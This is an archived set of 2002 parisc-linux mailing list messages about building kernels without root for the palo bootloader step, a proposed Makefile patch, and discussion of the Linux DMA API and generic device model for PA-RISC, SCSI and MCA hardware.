Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel build: make palo
Date: Sat, 9 Nov 2002 14:49:27 +0000 (UTC)
Lines: 49
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0211091447120.32930-100000@e0-0.zab2.int.zabbadoz.net>
References: <Pine.BSF.4.44.0211091415060.32930-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621892 16536 80.91.229.3 (22 Nov 2014 02:04:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  9 07:50:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id E69014829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Nov 2002 07:50:07 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP id BE3491FFEC5
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Nov 2002 15:50:03 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 1CD6A1FFEBE; Sat,  9 Nov 2002 15:50:03 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 6016922E1C; Sat,  9 Nov 2002 14:49:27 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP id 572EA22E1A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Nov 2002 14:49:27 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <Pine.BSF.4.44.0211091415060.32930-100000@e0-0.zab2.int.zabbadoz.net>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16687

On Sat, 9 Nov 2002, Bjoern A. Zeeb wrote:

Hi,

sorry for replying to my own posting. ran out of cafe ;-)


> I usually build all my kernels as user and not as 0. With parisc this
> doesn't work because you try to run
> 	palo -f ./palo.conf
> and that needs to be done as superuser.
>
> --- ... ---
> nm vmlinux | grep -v '\(compiled\)\|\(\.o$\)\|\( [aUw] \)\|\(\.\.ng$\)\|\(LASH[RL]DI\)' | sort > System.map
> A generic palo config file (./palo.conf) has been created for you.
> You should check it and re-run "make palo".
> WARNING: the "lifimage" file is now placed in this directory by default!
> make: *** [palo] Error 1
> --- ... ---

ok had the wrong window.

--- ... ---
palo -f ./palo.conf
/dev/sda: Permission denied
palo version 1.1 bame@c3k Tue Aug  6 09:40:01 MDT 2002
ELF32 executable
make: *** [palo] Error 2
--- ... ---

this would be the correct error message but it's the same target
and problem anyway...

> Suggestion: can we factor this out to be an own target like
> modules_install, etc ?
>
> Then one could do
> 	make dep && make bzImage && make modules
> as user, the switch to su and do a
> 	make modules_install && make palo
> or even run palo by hand...
>
>

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/



From - Thu Nov 08 21:25:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel build: make palo
Date: Sat, 9 Nov 2002 14:59:39 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <20021109145939.U12011@parcelfarce.linux.theplanet.co.uk>
References: <Pine.BSF.4.44.0211091415060.32930-100000@e0-0.zab2.int.zabbadoz.net> <Pine.BSF.4.44.0211091447120.32930-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621892 16540 80.91.229.3 (22 Nov 2014 02:04:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  9 07:59:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B2A424829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Nov 2002 07:59:44 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18AX5I-0000nW-00; Sat, 09 Nov 2002 14:59:40 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.BSF.4.44.0211091447120.32930-100000@e0-0.zab2.int.zabbadoz.net>; from bzeeb-lists@lists.zabbadoz.net on Sat, Nov 09, 2002 at 02:49:27PM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16688

On Sat, Nov 09, 2002 at 02:49:27PM +0000, Bjoern A. Zeeb wrote:
> --- ... ---
> palo -f ./palo.conf
> /dev/sda: Permission denied
> palo version 1.1 bame@c3k Tue Aug  6 09:40:01 MDT 2002
> ELF32 executable
> make: *** [palo] Error 2
> --- ... ---
> 
> this would be the correct error message but it's the same target
> and problem anyway...
> 
> > Suggestion: can we factor this out to be an own target like
> > modules_install, etc ?
> >
> > Then one could do
> > 	make dep && make bzImage && make modules
> > as user, the switch to su and do a
> > 	make modules_install && make palo
> > or even run palo by hand...

Nothing stops you from doing:

make vmlinux
sudo make palo

as two separate steps.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "J.E.J. Bottomley" <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device 
 interface
Date: Sat, 09 Nov 2002 10:33:56 -0500
Lines: 86
Approved: news@gmane.org
Message-ID: <200211091533.gA9FXuW02017__24653.5042570487$1416621892$gmane$org@localhost.localdomain>
References: <greg@kroah.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621892 16541 80.91.229.3 (22 Nov 2014 02:04:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:52 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	"Adam J. Richter" <adam@yggdrasil.com>, andmike@us.ibm.com,
	hch@lst.de, James.Bottomley@SteelEye.com,
	linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: Greg KH <greg@kroah.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  9 08:34:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pogo.mtv1.steeleye.com (host194.steeleye.com [66.206.164.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2FFC14829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Nov 2002 08:34:11 -0700 (MST)
Original-Received: (from root@localhost)
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) id HAA08631
	for <parisc-linux@lists.parisc-linux.org>; Sat, 9 Nov 2002 07:34:02 -0800
Original-Received: from localhost.localdomain (sshppp-200.mtv1.steeleye.com [172.16.1.200])
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) with ESMTP id HAA08541;
	Sat, 9 Nov 2002 07:33:58 -0800
Original-Received: from mulgrave (jejb@localhost)
	by localhost.localdomain (8.11.6/linuxconf) with ESMTP id gA9FXuW02017;
	Sat, 9 Nov 2002 10:33:56 -0500
X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4
In-Reply-To: Message from Greg KH <greg@kroah.com> 
   of "Fri, 08 Nov 2002 22:03:42 PST." <20021109060342.GA7798@kroah.com> 
X-AntiVirus: scanned for viruses by AMaViS 0.2.1 (http://amavis.org/)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16689

First off, lets remember that this discussion started over two different, but 
related, problem sets.  One was the DMA api and the other was the device model.

As far as the DMA API goes, consistent memory allocation has always annoyed me 
because there are three separate cases

1. machine is consistent, consistent allocation always succeeds (unless we're 
out of memory)

2. machine is fully inconsistent, consistent allocation always fails.

3. Machine is partially consistent.  consistent allocation may fail because 
we're out of consistent memory so we have to fall back to the old.

What I'd like is an improvement to the DMA API where drivers can advertise 
levels of conformance (I only work with consistent memory or I work correctly 
with any dma'able memory and do all the sync points), and where all the sync 
point stuff optimises out for a machine architecture which is recognisably 
fully consistent at compile time.

Ok, I'll get off my soapbox now.  I never quite recovered from the awful 
#ifdef mess that doing the above correctly for the parisc introduced into the 
53c700 driver...

As far as the device model goes:

greg@kroah.com said:
> No, lets start pulling stuff out of pci_dev and relying on struct
> device.  The reason this hasn't happened yet is no one has been
> willing to break all of the PCI drivers, yet. 

I'd like to see that.  It's always annoyed me that my MCA machines have to 
bounce highmem just because they don't have a pci_dev to put the bounce mask 
in.

> The SCSI people are being drug kicking and screaming into it,
> _finally_ now (hell, SCSI is still not using the updated PCI
> interface, those people _never_ update their drivers if they can avoid
> it.)

That't not entirely fair.  Most of the unbroken drivers in the tree (those 
with active 2.5 maintainers) are using the up to date pci/dma interface.  The 
mid layer is `sort of' using the device api.

Where I'd like to see the device model go for SCSI is:

- we have a device node for every struct scsi_device (even unattached ones)

- unattached devices are really minimal entities with as few resources 
allocated as we can get away with, so we can have lazy attachment more easily.

- on attachment, the device node gets customised by the attachment type (and 
remember, we can have more than one attachment).

- whatever the permanent `name' field for the device is going to be needs to 
be writeable from user level, that way it can eventually be determined by the 
user level and simply written there as a string (rather than having all the 
wwn fallback cruft in the mid-layer).

- Ultimately, I'd like us to dump the host/channel/target numbering scheme in 
favour of the unique device node name (we may still number them in the 
mid-layer for convenience) so that we finesse the FC mapping problems---FC 
devices can embed the necessary identification in the target strings.

- Oh, and of course, we move to a hotplug/coldplug model where the root device 
is attached in initramfs and everything else is discovered in user space from 
the boot process.

> Patches for this stuff are going to be happening for quite some time
> now, don't despair.

> And they are greatly appreciated, and welcomed from everyone :) 

As far as extending the generic device model goes, I'll do it for the MCA bus. 
 I have looked at doing it previously, but giving the MCA bus a struct pci_dev 
is a real pain because of the underlying assumptions when one of these exists 
in an x86 machine.

But, while were on the subject of sorting out the device model abstraction, 
does the `power' node entry really belong at the top level?  It serves no 
purpose for something like a legacy MCA bus.

James




From - Thu Nov 08 21:25:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Sat, 09 Nov 2002 10:02:06 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20021109170206.DA635482A@dsl2.external.hp.com>
References: <200211090128.RAA31693@adam.yggdrasil.com> <adam@yggdrasil.com> <20021109015611.571B44829@dsl2.external.hp.com>  <20021109034612.S12011@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621893 16542 80.91.229.3 (22 Nov 2014 02:04:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:53 +0000 (UTC)
Cc: "Adam J. Richter" <adam@yggdrasil.com>,
	James.Bottomley@steeleye.com, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  9 10:02:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id DA635482A; Sat,  9 Nov 2002 10:02:06 -0700 (MST)
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Sat, 09 Nov 2002 03:46:12 GMT." <20021109034612.S12011@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16690

Matthew Wilcox wrote:
> On Fri, Nov 08, 2002 at 06:56:11PM -0700, Grant Grundler wrote:
> > They don't have PCI slots.
> > I hedge because HP makes a "card-mode Dino" type of card that will
> > fit into 715 which has a GSCtoPCI bus controller on-board along
> > with the target PCI device (eg 21143 tulip)
> 
> Sorry Grant, HP marketing has confused you ;-).  715/33, 715/50 &
> 715/75 have a PCX-T processor (can't do uncached pages), but don't have
> a GSC slot.

ok - well, that's why I pointed at the PCX-[ST] HWDB pages.

> The only machines with GSC and non-coherent memory are the T class
> (unsupportable..) and something like an F, G, H or I class with
> a GeckoBOA adapter... and we
> aren't claiming support for those either.

Right. I'm convinced support for V-class (PCI, IO Coherent) will happen
before T-class (propritary busses, !IO-coherent). Later FGHI-class also
use PCX-L CPU and thus should be ok. rbrad, christoph and a few others
are working on support for those machines but I know SCSI on those
machines is SPIFI-based (HP SCSI controller). In short, looks like
your observations about 53c720 might be one of the few problematic
drivers.

thanks,
grant


From - Thu Nov 08 21:25:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel build: make palo
Date: Sat, 9 Nov 2002 16:31:46 +0000 (UTC)
Lines: 73
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0211091614510.32930-100000@e0-0.zab2.int.zabbadoz.net>
References: <20021109145939.U12011@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621893 16547 80.91.229.3 (22 Nov 2014 02:04:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  9 10:39:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 72E184829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Nov 2002 10:39:12 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id 5E1F31FFEB8; Sat,  9 Nov 2002 18:39:07 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 916F51FFEC7; Sat,  9 Nov 2002 18:39:06 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 3966E22E1C; Sat,  9 Nov 2002 16:31:46 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id 3007722E1A; Sat,  9 Nov 2002 16:31:46 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <20021109145939.U12011@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16691

On Sat, 9 Nov 2002, Matthew Wilcox wrote:

> > > Then one could do
> > > 	make dep && make bzImage && make modules
> > > as user, the switch to su and do a
> > > 	make modules_install && make palo
> > > or even run palo by hand...
>
> Nothing stops you from doing:
>
> make vmlinux
> sudo make palo
>
> as two separate steps.

yeah, but that's not the default (==documented) way of building a
linux kernel ;-)

linux/README:
" - Do a "make bzImage" to create a compressed kernel image."

it does not say "and update the config etc of your bootloader"


Also one does not need to run palo if one only substitutes a kernel
image in an ext2 fs I think. So this run does not seem to be
neccessary by default.



I suggest s.th. like the following (untested):

--- linux/arch/parisc/Makefile.orig	2002-11-09 14:43:40.000000000 +0000
+++ linux/arch/parisc/Makefile	2002-11-09 16:19:46.000000000 +0000
@@ -82,7 +82,7 @@
 libs-y					+= arch/parisc/lib/ \
 					   `$(CC) -print-libgcc-file-name`

-palo: vmlinux
+palo:
 	@if [ $$(palo -f /dev/null >/dev/null 2>&1 ; echo $$?) != 2 ]; then \
 		echo 'ERROR: Please install palo first (apt-get install palo)';\
 		echo 'or build it from source and install it somewhere in your $$PATH';\
@@ -101,19 +101,19 @@
 	export TOPDIR=`pwd`; \
 	unset STRIP LDFLAGS CPP CPPFLAGS AFLAGS CFLAGS CC LD; cd ../palo && make lifimage

-Image: palo
+Image: vmlinux

 Image-clean:

 ramdisk.o:

-zImage: palo
+zImage: vmlinux

-bzImage: palo
+bzImage: vmlinux

 compressed: zImage

-install:
+install: palo

 archmrproper:


-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/



From - Thu Nov 08 21:25:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Sat, 9 Nov 2002 17:50:10 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <20021109175010.V12011@parcelfarce.linux.theplanet.co.uk>
References: <200211090128.RAA31693@adam.yggdrasil.com> <adam@yggdrasil.com> <20021109015611.571B44829@dsl2.external.hp.com> <20021109034612.S12011@parcelfarce.linux.theplanet.co.uk> <willy@debian.org> <20021109170206.DA635482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621893 16548 80.91.229.3 (22 Nov 2014 02:04:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  9 10:50:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6BC65482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Nov 2002 10:50:14 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18AZkI-00026b-00; Sat, 09 Nov 2002 17:50:10 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021109170206.DA635482A@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Sat, Nov 09, 2002 at 10:02:06AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16692

On Sat, Nov 09, 2002 at 10:02:06AM -0700, Grant Grundler wrote:
> Right. I'm convinced support for V-class (PCI, IO Coherent) will happen
> before T-class (propritary busses, !IO-coherent). Later FGHI-class also
> use PCX-L CPU and thus should be ok. rbrad, christoph and a few others
> are working on support for those machines but I know SCSI on those
> machines is SPIFI-based (HP SCSI controller). In short, looks like
> your observations about 53c720 might be one of the few problematic
> drivers.

F-I class kept PCX-T processors to the bitter end.  You're thinking of
E class, I think, which are all PCX-L.  Really, we're just waiting for
a V class to turn up in resource recovery to start work ;-)

Looking at the T600 in the hwdb..
        Miura LAN/Console (J2146A) -- completely unlike anything else
	Countach LAN/Console -- same as Diablo & KittyHawk CSY LAN/Console,
				doubt we care.
	Skunk SCSI -- its the SPIFI chip, probably supportable.
	Wizard SCSI -- also in E/K class, probably supportable too.
	Skunk Centronics -- also in E/K class, probably supportable.
	Emerald Console -- unique
	Java IOA -- unique

there's actually less unsupportable hardware in there than i thought,
but i'm still not really interested in it.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Sat, 09 Nov 2002 11:04:48 -0700
Lines: 49
Approved: news@gmane.org
Message-ID: <20021109180448.C41144829__49407.2058973417$1416621894$gmane$org@dsl2.external.hp.com>
References: <200211090451.UAA26160@baldur.yggdrasil.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621894 16550 80.91.229.3 (22 Nov 2014 02:04:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:54 +0000 (UTC)
Cc: andmike@us.ibm.com, hch@lst.de, James.Bottomley@steeleye.com,
	linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: "Adam J. Richter" <adam@yggdrasil.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  9 11:04:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C41144829; Sat,  9 Nov 2002 11:04:48 -0700 (MST)
In-Reply-To: Message from "Adam J. Richter" <adam@yggdrasil.com> 
   of "Fri, 08 Nov 2002 20:51:28 PST." <200211090451.UAA26160@baldur.yggdrasil.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16693

"Adam J. Richter" wrote:
> Please do not throw the baby out with the bath water.  The generic
> driver interface in its present form really can make parisc smaller
> and cleaner.

I hope that's true. I was just as disappointed as willy.

Documentation/driver-model/overview.txt:
| Note also that it is at the _end_ of struct pci_dev. This is
| to make people think about what they're doing when switching between the bus
| driver and the global driver; and to prevent against mindless casts between
| the two.

Until this changes, I don't see this as a useful replacement for
either PCI or parisc devices. The "mindless casts" can be fixed.
But without the ability to easily go from generic device type to
bus specific type, people will just get lost in the maze of pointers.

Common code needs to take a common parameter.  Operations on the tree
(eg probe) often require calls to bus specific (or arch or platform
specific) code which may in turn need to make other IO tree operations.
Those code paths convert back and forth between types regularly.
That's why I want to make it as simple as possible at the risk
a few people will get it wrong.

HPUX has had a "unified" IO tree since 10.0 in ~1994. Previous
releases had an IO tree for "Server IO" but not the PA-RISC
workstations. I've work on HPUX IO subsystem 6 years (PCI Code owner for
2 years) and it had several key features:
  (a) traverse the complete tree (from "central bus" to SCSI LUN)
      with shared code,
  (b) determine which type of bus any node was "on",
  (c) associate arbitrary local data with any node.
       (this includes bus *operations*! eg probe, dma, irq setup)

Maybe I'm not seeing it, but (b) and (c) are missing from basic
design or not well described in driver-model/overview.txt.

BTW, I couldn't find Documentation/filesystems/driverfs.txt.

Lastly, the example of an "irq" entry in overview.txt is interesting.
